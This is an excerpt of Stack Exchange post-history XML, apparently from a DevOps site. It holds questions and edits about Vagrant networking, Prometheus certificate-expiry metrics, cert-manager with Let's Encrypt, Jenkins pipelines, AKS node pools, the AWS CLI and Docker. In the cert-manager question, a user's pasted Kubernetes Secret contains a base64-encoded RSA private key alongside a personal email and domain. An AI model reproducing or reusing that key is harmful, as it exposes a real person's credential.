  <row Id="36024" PostHistoryTypeId="3" PostId="11765" RevisionGUID="cf9ab856-acd4-4184-9ba2-c80910bc6f06" CreationDate="2020-06-04T07:30:19.783" UserId="18624" Text="&lt;kubernetes&gt;&lt;azure&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36025" PostHistoryTypeId="2" PostId="11766" RevisionGUID="e5863798-d886-4791-880a-afc65717e7f3" CreationDate="2020-06-04T11:33:14.187" UserId="17329" Text="@danidar, eth0 is used by vagrant for nat configuration in order to establish portforwarding. eth1 private networks that you have configured should allow you to ping/nslookup from one node to another." ContentLicense="CC BY-SA 4.0" />
  <row Id="36026" PostHistoryTypeId="5" PostId="11766" RevisionGUID="068910a7-b905-454f-adb7-fbe9e9f5d951" CreationDate="2020-06-04T11:41:23.607" UserId="17329" Comment="added 217 characters in body" Text="@danidar, eth0 is used by vagrant for nat configuration in order to establish portforwarding. eth1 private networks that you have configured should allow you to ping/nslookup from one node to another. You can use the following to customize the ip of the nat but I don't see why would you do that:&#xD;&#xA;  config.vm.provider &quot;virtualbox&quot; do |vbx|&#xD;&#xA;    vbx.customize ['modifyvm', :id, '--natnet1', '192.168.169.0/24']&#xD;&#xA;  end" ContentLicense="CC BY-SA 4.0" />
  <row Id="36027" PostHistoryTypeId="5" PostId="11766" RevisionGUID="eb899235-ea9d-4653-8bf0-4258be3c0018" CreationDate="2020-06-04T12:16:43.347" UserId="17329" Comment="added 83 characters in body" Text="@danidar, eth0 is used by vagrant for nat configuration in order to establish portforwarding. eth1 private networks that you have configured should allow you to ping/nslookup from one node to another. You can use the following to customize the ip of the nat but I don't see why would you do that:&#xD;&#xA;  config.vm.provider &quot;virtualbox&quot; do |vbx|&#xD;&#xA;    vbx.customize ['modifyvm', :id, '--natnet1', '192.168.169.0/24']&#xD;&#xA;  end&#xD;&#xA;&#xD;&#xA;### Update: tested your setup it doesn't work, this is some CentOS 8 specifics." ContentLicense="CC BY-SA 4.0" />
  <row Id="36028" PostHistoryTypeId="2" PostId="11767" RevisionGUID="c1ad5e15-eb9c-45d9-a2c4-d994ba2bb311" CreationDate="2020-06-04T15:34:05.280" UserId="17329" Text="I have been using KubeClientCertificateExpiration from mixin project of Prom-operator up until now while I have been living in the delusion that this monitors the apiserver cert expiration, but it in fact checks all clients if any of them are in the given range of expiry and checks if apiserver cert is expired or not.&#xD;&#xA;I have now modified it to:&#xD;&#xA;apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} &lt; (30 * 24 * 3600) and on(job) histogram_quantile(0.01, sum by(job, le) (rate(apiserver_client_certificate_expiration_seconds_bucket{job=&quot;apiserver&quot;}[5m]))) &lt; (30 * 24 * 3600)&#xD;&#xA;That way I should know if both conditions are in the range. However I have the feeling I want to split the alerts in two different as the the second is really abstract and hard to identify.&#xD;&#xA;I am wondering is this good idea or there is something already established that I can use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36029" PostHistoryTypeId="1" PostId="11767" RevisionGUID="c1ad5e15-eb9c-45d9-a2c4-d994ba2bb311" CreationDate="2020-06-04T15:34:05.280" UserId="17329" Text="Tool to monitror K8s api server cert expiration" ContentLicense="CC BY-SA 4.0" />
  <row Id="36030" PostHistoryTypeId="3" PostId="11767" RevisionGUID="c1ad5e15-eb9c-45d9-a2c4-d994ba2bb311" CreationDate="2020-06-04T15:34:05.280" UserId="17329" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36031" PostHistoryTypeId="2" PostId="11768" RevisionGUID="13cc3674-89f7-464c-b814-1fe0f6417c8d" CreationDate="2020-06-04T15:50:33.897" UserId="22585" Text="I am attempting to get cert-manager working with Let's Encrypt and I am running into some interesting errors, such as cert-manager not being able to access resources. I am also seeing two certificates and two certificaterequests when I would only expect one. I've attached some pictures of logging and output from the certs and cert requests. I've tried quite a few adjustments but I seem to be spinning my wheels. Any help is greatly appreciated!&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;kind: Secret&#xD;&#xA;apiVersion: v1&#xD;&#xA;metadata:&#xD;&#xA;  name: coreyperkinsdev-production-clusterissuer-acme&#xD;&#xA;  namespace: default&#xD;&#xA;data:&#xD;&#xA;  coreyperkinsdevacmedns.json: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBdEx3U3hZcVRzTWpuejZrVytUWVl5cDh1cFRaZkFWc1U1bGQvZzE4aXJ6T1pwaEZyCkRwdnJ5TkhLam9CMWJ2TjNtdDM0VkxWK2JQM3NHZEJCSW83MEVoTzl3VS83TVRDZVJScGtISmlCYzc3dUJRUGgKTjVaalZUM0lEOEIyUzZTOWFONWVMNUhaWHYrbExhd0pjUEdVYUtlcVpmVG1XTVVHOFFHTTJtK1pJWGNNY1dyUwpRZ1hSSnM5anUzQndsWGZGR1hOeGJ6SnlyL3ZKZkwrVkU4Y09YN1h0WlBtQ3BjWEd2TVUzQ3BuaTJJYTJiUmxJClFvb0w3N2I4SWJDTm12VVM3Y3U3c2J3cTRVbUJUaWRUYVU3UFRtQjJuMXZRTm9uZjllRVRkSDkwYkpURFFadDQKRURaa0kzeU1QbXl5NU5tV3poOEViVGFSQ2VjU05PM2ZkSHNQQndJREFRQUJBb0lCQUZ6T2VzRXZjTG1GNE90VQpnN1NDMytZa0tYcXkyY1JEZGc3MS9VZURjYmNQd3lWd3FrMjlLUzFjOVN1SnNVUEJCN2pocEtReThuR2JUa0xQCkdyTlpQdUdOZTVJcHRPNUViZkZFSlFZK0ZiTk81c0J5aHBMWnliWTYzR0dpVGR4NEFyODMrSnRxeEhrd3d5d1oKdkZ0ZjRmcC9wbE5tbDJZYi9uMkJjMGV6cUtseXNHbzZDL3IxdmRZZ0RqTEtzT1I0MTF4WS8rN0xuS2JBQWpVcApoQTRseG5LaFpjMzZONmFjQVowdGZPL1FzcXpqNWRsQTduMlgvQ1lSRkxXdjZML09PdHZlWlZCeGtqT0xQL3hxClhKZXJjSE0vMmN2YVZtbzVTM2ltRlNWNkxKeEF4UW10T1E4NUdTVHRXMWVIQUsrQldXL000eHdUM0NPcUx1aDIKSXdQcUlha0NnWUVBMWRxRkc5N3NQZE80bUFPdUcyWUJ5VkpnWXhrYzBvK0trTm1ITXc4YkJDanpZdXJDaTVFUAptZkFJV25DYUxQaSsrSE9FbXF3M0RVY1lMOFVWcHJkMkpBVG96VVFWcXBJbHUzQ3RzenVicGF6Rk9pUVBRVHZwCnp1dmNEMFpHeStsNE9OK2lYdllQQVBzbGQreHYzcFQxOWRsWFBVRGJYUHNvRXFsZ0V3bDNsN1VDZ1lFQTJGcWQKbExJSVlwWlVIUjFJbTI5c1J6Y2RyRjNjd21pd1lnVEVmT09QVVpwY05TVnkvc1hmOFkveEFkWHo2bkVsaGhXMApxUGtzbHJjdm9XM29DcXF4dElwQ3JCcUxWTjg4azFHZjNjUFRJR1FkeDh5ajVKdDJtbFRpU3Eyc3kxMUpUa3FPCmVzdk0wS1ZJT0lQMm11dXVaeFNpNEgxakE1Nlp2QXI2cnFMVFNVc0NnWUEwaVM1U0huMmk0clJpZytUdHppMTYKSzhhS0VjMUczUVNKZVNjQm9DQmU4VUI1ZUhxNmxyUmllTmxVZm4waHR5b1RGeTNvWVk1VXNMWjhaY3BmM29vagpaeUZaNi9QMnAxaWxwNVRFaDB4QmN5UXdtRk0zRDJUczlIeG5ORGlJTjU3Vk9mdEZvT1VtdEl3TDNnWE5oSUs0CkZ1Q2JwNmM4UEdjbnpueFBzTyswVVFLQmdISE0rQ1pHbnZKOGNESUFQVGpGR3djNmpua2p4Z0xjWGlxd3AwbXAKeUxEN3FKU3I1aGpzckNhN3QrRm5VSzE0Wm14bzdtWVM2c2s4QWVtL2pkWk9ncnFjSHdXMzBLSUw2aWp6UGt1Lwp2VVhFWTRXOHRsaUJEWm1RSEpkN1V2Q0ZXUkc5VmNSeGZvSWc3aVFNQmFMblpRMERaY2ovS3gyMFJ0a0tUV0dlCmM5U1JBb0dCQUpZY1hpU3RRNkVyM0xqeit2TTUzN05NdENIVFdBZ05yZzM0ZWdYMzJyZVZZdkd5amhKYk1yaEwKSkxxT0U5NmE3OUJZbDRyZERoNUliL1psUmhOUUpleENrRVFLUm12QmkwVHFUZ21EZmhxa3plOVRKTllRbndBRApHMU5xL0VaN2RCQ3gvcmlhbTRxUktxc0FwWDhWcjc3NGFKSCsvcFBuZ0xucHI3emFib0hyCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==&#xD;&#xA;  tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBdEx3U3hZcVRzTWpuejZrVytUWVl5cDh1cFRaZkFWc1U1bGQvZzE4aXJ6T1pwaEZyCkRwdnJ5TkhLam9CMWJ2TjNtdDM0VkxWK2JQM3NHZEJCSW83MEVoTzl3VS83TVRDZVJScGtISmlCYzc3dUJRUGgKTjVaalZUM0lEOEIyUzZTOWFONWVMNUhaWHYrbExhd0pjUEdVYUtlcVpmVG1XTVVHOFFHTTJtK1pJWGNNY1dyUwpRZ1hSSnM5anUzQndsWGZGR1hOeGJ6SnlyL3ZKZkwrVkU4Y09YN1h0WlBtQ3BjWEd2TVUzQ3BuaTJJYTJiUmxJClFvb0w3N2I4SWJDTm12VVM3Y3U3c2J3cTRVbUJUaWRUYVU3UFRtQjJuMXZRTm9uZjllRVRkSDkwYkpURFFadDQKRURaa0kzeU1QbXl5NU5tV3poOEViVGFSQ2VjU05PM2ZkSHNQQndJREFRQUJBb0lCQUZ6T2VzRXZjTG1GNE90VQpnN1NDMytZa0tYcXkyY1JEZGc3MS9VZURjYmNQd3lWd3FrMjlLUzFjOVN1SnNVUEJCN2pocEtReThuR2JUa0xQCkdyTlpQdUdOZTVJcHRPNUViZkZFSlFZK0ZiTk81c0J5aHBMWnliWTYzR0dpVGR4NEFyODMrSnRxeEhrd3d5d1oKdkZ0ZjRmcC9wbE5tbDJZYi9uMkJjMGV6cUtseXNHbzZDL3IxdmRZZ0RqTEtzT1I0MTF4WS8rN0xuS2JBQWpVcApoQTRseG5LaFpjMzZONmFjQVowdGZPL1FzcXpqNWRsQTduMlgvQ1lSRkxXdjZML09PdHZlWlZCeGtqT0xQL3hxClhKZXJjSE0vMmN2YVZtbzVTM2ltRlNWNkxKeEF4UW10T1E4NUdTVHRXMWVIQUsrQldXL000eHdUM0NPcUx1aDIKSXdQcUlha0NnWUVBMWRxRkc5N3NQZE80bUFPdUcyWUJ5VkpnWXhrYzBvK0trTm1ITXc4YkJDanpZdXJDaTVFUAptZkFJV25DYUxQaSsrSE9FbXF3M0RVY1lMOFVWcHJkMkpBVG96VVFWcXBJbHUzQ3RzenVicGF6Rk9pUVBRVHZwCnp1dmNEMFpHeStsNE9OK2lYdllQQVBzbGQreHYzcFQxOWRsWFBVRGJYUHNvRXFsZ0V3bDNsN1VDZ1lFQTJGcWQKbExJSVlwWlVIUjFJbTI5c1J6Y2RyRjNjd21pd1lnVEVmT09QVVpwY05TVnkvc1hmOFkveEFkWHo2bkVsaGhXMApxUGtzbHJjdm9XM29DcXF4dElwQ3JCcUxWTjg4azFHZjNjUFRJR1FkeDh5ajVKdDJtbFRpU3Eyc3kxMUpUa3FPCmVzdk0wS1ZJT0lQMm11dXVaeFNpNEgxakE1Nlp2QXI2cnFMVFNVc0NnWUEwaVM1U0huMmk0clJpZytUdHppMTYKSzhhS0VjMUczUVNKZVNjQm9DQmU4VUI1ZUhxNmxyUmllTmxVZm4waHR5b1RGeTNvWVk1VXNMWjhaY3BmM29vagpaeUZaNi9QMnAxaWxwNVRFaDB4QmN5UXdtRk0zRDJUczlIeG5ORGlJTjU3Vk9mdEZvT1VtdEl3TDNnWE5oSUs0CkZ1Q2JwNmM4UEdjbnpueFBzTyswVVFLQmdISE0rQ1pHbnZKOGNESUFQVGpGR3djNmpua2p4Z0xjWGlxd3AwbXAKeUxEN3FKU3I1aGpzckNhN3QrRm5VSzE0Wm14bzdtWVM2c2s4QWVtL2pkWk9ncnFjSHdXMzBLSUw2aWp6UGt1Lwp2VVhFWTRXOHRsaUJEWm1RSEpkN1V2Q0ZXUkc5VmNSeGZvSWc3aVFNQmFMblpRMERaY2ovS3gyMFJ0a0tUV0dlCmM5U1JBb0dCQUpZY1hpU3RRNkVyM0xqeit2TTUzN05NdENIVFdBZ05yZzM0ZWdYMzJyZVZZdkd5amhKYk1yaEwKSkxxT0U5NmE3OUJZbDRyZERoNUliL1psUmhOUUpleENrRVFLUm12QmkwVHFUZ21EZmhxa3plOVRKTllRbndBRApHMU5xL0VaN2RCQ3gvcmlhbTRxUktxc0FwWDhWcjc3NGFKSCsvcFBuZ0xucHI3emFib0hyCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==&#xD;&#xA;---&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: coreyperkins-deployment&#xD;&#xA;  labels:&#xD;&#xA;    version: v1&#xD;&#xA;spec:&#xD;&#xA;  replicas: 3&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: coreyperkins-frontend&#xD;&#xA;      version: v1&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: coreyperkins-frontend&#xD;&#xA;        version: v1&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: coreyperkins-frontend&#xD;&#xA;          image: coreyperkinsdev.azurecr.io/www:52&#xD;&#xA;          resources:&#xD;&#xA;            requests:&#xD;&#xA;              cpu: &quot;100m&quot;&#xD;&#xA;          imagePullPolicy: Always&#xD;&#xA;          ports:&#xD;&#xA;          - containerPort: 80&#xD;&#xA;      imagePullSecrets:&#xD;&#xA;        - name: coreyperkinsdev-acr-secret&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: coreyperkins-service&#xD;&#xA;  labels:&#xD;&#xA;    app: coreyperkins-frontend&#xD;&#xA;spec:&#xD;&#xA;  ports:&#xD;&#xA;  - protocol: TCP&#xD;&#xA;    port: 5000&#xD;&#xA;    targetPort: 80&#xD;&#xA;    name: http&#xD;&#xA;  selector:&#xD;&#xA;    app: coreyperkins-frontend&#xD;&#xA;---&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: ClusterIssuer&#xD;&#xA;metadata:&#xD;&#xA;  name: coreyperkinsdev-production-clusterissuer&#xD;&#xA;  namespace: cert-manager&#xD;&#xA;spec:&#xD;&#xA;  acme:&#xD;&#xA;    email: corey.perkins@gmail.com    &#xD;&#xA;    server: https://acme-staging-v02.api.letsencrypt.org/directory&#xD;&#xA;    privateKeySecretRef:&#xD;&#xA;      name: coreyperkinsdev-production-clusterissuer-acme&#xD;&#xA;    solvers:&#xD;&#xA;      - dns01:&#xD;&#xA;          acmedns:&#xD;&#xA;            host: https://acme-staging-v02.api.letsencrypt.org/directory&#xD;&#xA;            accountSecretRef:&#xD;&#xA;              name: coreyperkinsdev-production-clusterissuer-acme&#xD;&#xA;              key: coreyperkinsdevacmedns.json&#xD;&#xA;---&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: coreyperkinsdev-production-certificate&#xD;&#xA;  namespace: cert-manager&#xD;&#xA;spec:&#xD;&#xA;  secretName: coreyperkinsdev-production-clusterissuer-acme&#xD;&#xA;  issuerRef: &#xD;&#xA;    name: coreyperkinsdev-production-clusterissuer&#xD;&#xA;    kind: ClusterIssuer    &#xD;&#xA;  commonName: coreyperkins.dev&#xD;&#xA;  dnsNames:&#xD;&#xA;    - coreyperkins.dev&#xD;&#xA;    - '*.coreyperkins.dev'&#xD;&#xA;---&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: coreyperkinsdev-ingress&#xD;&#xA;  namespace: default&#xD;&#xA;  annotations:&#xD;&#xA;    cert-manager.io/cluster-issuer: coreyperkinsdev-production-clusterissuer&#xD;&#xA;    kubernetes.io/ingress.class: nginx&#xD;&#xA;    nginx.ingress.kubernetes.io/ssl-redirect: &quot;false&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/rewrite-target: /$1&#xD;&#xA;spec:&#xD;&#xA;  tls:&#xD;&#xA;  - hosts:&#xD;&#xA;    - coreyperkins.dev&#xD;&#xA;    - '*.coreyperkins.dev'&#xD;&#xA;    secretName: coreyperkinsdev-production-clusterissuer-acme&#xD;&#xA;  rules:&#xD;&#xA;  - host: www.coreyperkins.dev&#xD;&#xA;  - http:&#xD;&#xA;      paths:&#xD;&#xA;      - path: /?(.*)&#xD;&#xA;        backend:&#xD;&#xA;          serviceName: coreyperkins-service&#xD;&#xA;          servicePort: 5000&#xD;&#xA;---&#xD;&#xA;kind: ConfigMap&#xD;&#xA;apiVersion: v1&#xD;&#xA;metadata:&#xD;&#xA;  name: coreyperkinsdev-ng-cm&#xD;&#xA;data:&#xD;&#xA;  http-snippet: |&#xD;&#xA;    types {&#xD;&#xA;      module;&#xD;&#xA;    }&#xD;&#xA;---&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/rykIO.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/USQug.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/lCVDF.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36032" PostHistoryTypeId="1" PostId="11768" RevisionGUID="13cc3674-89f7-464c-b814-1fe0f6417c8d" CreationDate="2020-06-04T15:50:33.897" UserId="22585" Text="K8 / Cert-Manager / Errors and Possible YAML misconfiguration" ContentLicense="CC BY-SA 4.0" />
  <row Id="36033" PostHistoryTypeId="3" PostId="11768" RevisionGUID="13cc3674-89f7-464c-b814-1fe0f6417c8d" CreationDate="2020-06-04T15:50:33.897" UserId="22585" Text="&lt;kubernetes&gt;&lt;cert-manager&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36034" PostHistoryTypeId="2" PostId="11769" RevisionGUID="8f4b87a0-02c6-4a7f-9c12-ccc6dfaa39c7" CreationDate="2020-06-04T19:11:30.373" UserId="17672" Text="The following simplified Jenkinsfile dynamically generates sequentially executed stages; however, I cannot create a `post` step for these dynamically stages, like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent none&#xD;&#xA;    stages {&#xD;&#xA;        stage('Gen Stages') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    def stageNames = [&quot;st1&quot;, &quot;st2&quot;, &quot;st3&quot;]&#xD;&#xA;                    stageNames.each { stageName -&gt;&#xD;&#xA;                        createStage(stageName)&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    post {&#xD;&#xA;        always {&#xD;&#xA;            echo &quot;post &gt; always&quot;&#xD;&#xA;        }&#xD;&#xA;        success {&#xD;&#xA;            echo &quot;post &gt; success&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;def createStage(String stageName) {&#xD;&#xA;    stage(stageName) {&#xD;&#xA;        echo &quot;Stage: ${stageName}&quot;&#xD;&#xA;    }&#xD;&#xA;    // I want to uncomment and use code below - or something effectively simiarl:&#xD;&#xA;    // post {&#xD;&#xA;    //     always {&#xD;&#xA;    //         echo &quot;${stageName} &gt; post &gt; always&quot;&#xD;&#xA;    //     }&#xD;&#xA;    //     success {&#xD;&#xA;    //         echo &quot;${stageName} &gt; success &gt; always&quot;&#xD;&#xA;    //     }&#xD;&#xA;    // }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;I would like to be able to use the commented-out `post {}` stage, or something effectively similar.&#xD;&#xA;&#xD;&#xA;If at all possible, I'd like to use the DSL as much as possible and avoid scripted pipelines.&#xD;&#xA;&#xD;&#xA;Suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36035" PostHistoryTypeId="1" PostId="11769" RevisionGUID="8f4b87a0-02c6-4a7f-9c12-ccc6dfaa39c7" CreationDate="2020-06-04T19:11:30.373" UserId="17672" Text="simulate post step for dynamically generated Jenkins pipeline stages" ContentLicense="CC BY-SA 4.0" />
  <row Id="36036" PostHistoryTypeId="3" PostId="11769" RevisionGUID="8f4b87a0-02c6-4a7f-9c12-ccc6dfaa39c7" CreationDate="2020-06-04T19:11:30.373" UserId="17672" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36037" PostHistoryTypeId="5" PostId="11765" RevisionGUID="ba58fffe-de8e-4dac-9fee-ee3e250cff8e" CreationDate="2020-06-05T07:32:04.343" UserId="18624" Comment="added 356 characters in body" Text="I'm attempting to replace a node pool in Azure Kubernetes Service with a new pool (that has a larger VM size).  The current pool was deployed using an [ARM template](https://github.com/NickGraham101/dfc-devops/blob/58925ca008b4a80946840dec95d09b2d6d958327/ArmTemplates/aks.json) that uses version 2019-06-01 of the resource manager API.  As per the [Microsoft documentation](https://docs.microsoft.com/en-us/azure/aks/use-system-pools#delete-a-system-node-pool) I should be able to add a new System node pool and delete the original, default node pool.&#xD;&#xA;&#xD;&#xA;I can successfully deploy an additional node pool that has it's mode set to System using [this template](https://github.com/NickGraham101/dfc-devops/blob/e0a896afdbc6dbf1447986078930a4f391cac931/ArmTemplates/aks.json), that template uses version 2020-03-01 of the resource manager API so that I can set the mode of the new pool.&#xD;&#xA;&#xD;&#xA;When I attempt to delete the original, default node pool using `az aks nodepool delete -g gandt-testshared-rg --cluster-name gandt-testshared-aks -n agentpool` I get an error saying `Operation failed with status: 'Bad Request'. Details: The agent pool cannot be deleted because it is used as the backend address pool of the basic load balancer.`.  &#xD;&#xA;&#xD;&#xA;Why am I getting this error and what can I do to get the backend address pool of the basic load balancer to use the new node pool?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I've deleted the cluster and redeployed using the original ARM template then added the 2nd node pool using az cli command `az aks nodepool add -g gandt-testshared-rg --cluster-name gandt-testshared-aks --name poolb2ms01 --node-count 1 --node-vm-size Standard_B2ms --mode System` and got the same result when deleting the default node pool" ContentLicense="CC BY-SA 4.0" />
  <row Id="36053" PostHistoryTypeId="2" PostId="11774" RevisionGUID="098dade3-0ce3-49f1-a12f-1ad0cbbf9ddf" CreationDate="2020-06-05T11:23:41.127" UserId="17276" Text="If i enter&#xD;&#xA;aws secretsmanager get-secret-value --secret-id  my secret id&#xD;&#xA;it says invalid choice&#xD;&#xA;aws: error: argument command: Invalid choice, valid choices are:&#xD;&#xA;and dosn't list secretsmanager as one of the choices or any variation on secretsmanager?&#xD;&#xA;&#xD;&#xA;aws secretsmanager get-secret-value --secret-id  my secret id&#xD;&#xA;was used in a vidio from 2018 &#xD;&#xA;https://www.youtube.com/watch?v=Y3Gn_iP3FlE&#xD;&#xA;&#xD;&#xA;simalerly this command dosn't work&#xD;&#xA;https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/list-secret-version-ids.html&#xD;&#xA;&#xD;&#xA;and aws help and aws man don't contain secrets manager?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36054" PostHistoryTypeId="1" PostId="11774" RevisionGUID="098dade3-0ce3-49f1-a12f-1ad0cbbf9ddf" CreationDate="2020-06-05T11:23:41.127" UserId="17276" Text="Was aws secretsmanager removed for aws CLI commands?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36055" PostHistoryTypeId="3" PostId="11774" RevisionGUID="098dade3-0ce3-49f1-a12f-1ad0cbbf9ddf" CreationDate="2020-06-05T11:23:41.127" UserId="17276" Text="&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36056" PostHistoryTypeId="5" PostId="11767" RevisionGUID="bfd36625-8552-4019-b273-ff77ba9793dc" CreationDate="2020-06-05T12:32:21.917" UserId="17329" Comment="deleted 556 characters in body" Text="I have been using KubeClientCertificateExpiration from mixin project of Prom-operator up until now, but it doesn't look to monitor the api server expiration, but clients that authenticate against it, I am interested in alert that monitors the expiration of the api server only. What else there is to monitor these metrics?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36057" PostHistoryTypeId="12" PostId="11767" RevisionGUID="96baf2c0-94c5-4c39-959d-dbeddfddb92b" CreationDate="2020-06-05T12:32:28.103" UserId="17329" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:17329,&quot;DisplayName&quot;:&quot;anVzdGFub3RoZXJodW1hbg&quot;}]}" />
  <row Id="36058" PostHistoryTypeId="13" PostId="11767" RevisionGUID="2b86aa85-50ad-42ba-873f-0aebad5693b3" CreationDate="2020-06-05T12:32:38.723" UserId="17329" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:17329,&quot;DisplayName&quot;:&quot;anVzdGFub3RoZXJodW1hbg&quot;}]}" />
  <row Id="36059" PostHistoryTypeId="2" PostId="11775" RevisionGUID="9e46d3e6-5caf-422d-a70c-484a1d8460d1" CreationDate="2020-06-05T12:43:32.990" UserId="22596" Text="This is a basic question for which I didn’t see anything on in the docs or forum searches.&#xD;&#xA;&#xD;&#xA; I have a development machine which has all kinds of stuff installed to do machine learning, like anaconda, python, etc. I want to containerize all of my development using Docker. Would it be a good practice to uninstall everything of importance on the host machine, since everything is going to be running on containers? I guess the main question I have is whether my docker build can/will use any of these ML from my local host machine when building the container. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36060" PostHistoryTypeId="1" PostId="11775" RevisionGUID="9e46d3e6-5caf-422d-a70c-484a1d8460d1" CreationDate="2020-06-05T12:43:32.990" UserId="22596" Text="Should I clean up my local machine before installing Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36061" PostHistoryTypeId="3" PostId="11775" RevisionGUID="9e46d3e6-5caf-422d-a70c-484a1d8460d1" CreationDate="2020-06-05T12:43:32.990" UserId="22596" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36062" PostHistoryTypeId="5" PostId="11767" RevisionGUID="183ded2a-2699-4195-8d85-279357cddaee" CreationDate="2020-06-05T13:12:38.943" UserId="17329" Comment="added 249 characters in body; edited title" Text="In the above 2 pictures I am comparing for a day the metric apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} for my 3 master nodes on k8s 1.14.3. A single day should have 86400 seconds, how come at start of the day for a given node Prometheus displays 59565 at 00:00 and at 24:00 it shows 205534? Does that mean that the metric reported by k8s is broken or my querry on the graphical dashboard has something in it that I don't understand? In theory it should mean that many seconds have expired from the api server cert, but the math doesn't add up?[1][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/jbLAQ.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/oYMVy.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36063" PostHistoryTypeId="4" PostId="11767" RevisionGUID="183ded2a-2699-4195-8d85-279357cddaee" CreationDate="2020-06-05T13:12:38.943" UserId="17329" Comment="added 249 characters in body; edited title" Text="K8s to Prometheus - apiserver_client_certificate_expiration_seconds_count, why does it count way more seconds than 1 day?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36064" PostHistoryTypeId="5" PostId="11767" RevisionGUID="b9b08cdb-fbbd-41d2-8f21-3bca1695b0a9" CreationDate="2020-06-05T13:17:54.333" UserId="17329" Comment="added 249 characters in body; edited title" Text="In the above 2 pictures I am comparing for a day the metric apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} for my 3 master nodes on k8s 1.14.3. A single day should have 86400 seconds, how come at start of the day for a given node Prometheus displays 59565 at 00:00 and at 24:00 it shows 205534? Does that mean that the metric reported by k8s is broken or my querry on the graphical dashboard has something in it that I don't understand? In theory it should mean that many seconds have expired from the api server cert, but the math doesn't add up?&#xD;&#xA;[1][1]: https://i.stack.imgur.com/jbLAQ.png&#xD;&#xA;  &#xD;&#xA;[2][2]: https://i.stack.imgur.com/oYMVy.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36065" PostHistoryTypeId="5" PostId="11767" RevisionGUID="b26f6042-bacb-4ae2-9147-c9fd13784f47" CreationDate="2020-06-05T13:23:58.737" UserId="17329" Comment="added 249 characters in body; edited title" Text="In the 2 pictures below I am comparing the metric from K8s apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} for my 3 master nodes on K8s 1.14.3. A single day should have 86400 seconds, how come at the start of the day for a given node Prometheus displays 59565 at 00:00 and at 24:00 it shows 205534 seconds? Does that mean that the metric reported by k8s is broken or my query on the graphical dashboard has something in it that I don't understand? In theory it should mean that many seconds have expired from the api server cert, but the math doesn't match the specifications?&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;[1]: https://i.stack.imgur.com/jbLAQ.png&#xD;&#xA;  &#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;[2]: https://i.stack.imgur.com/oYMVy.png" ContentLicense="CC BY-SA 4.0" />
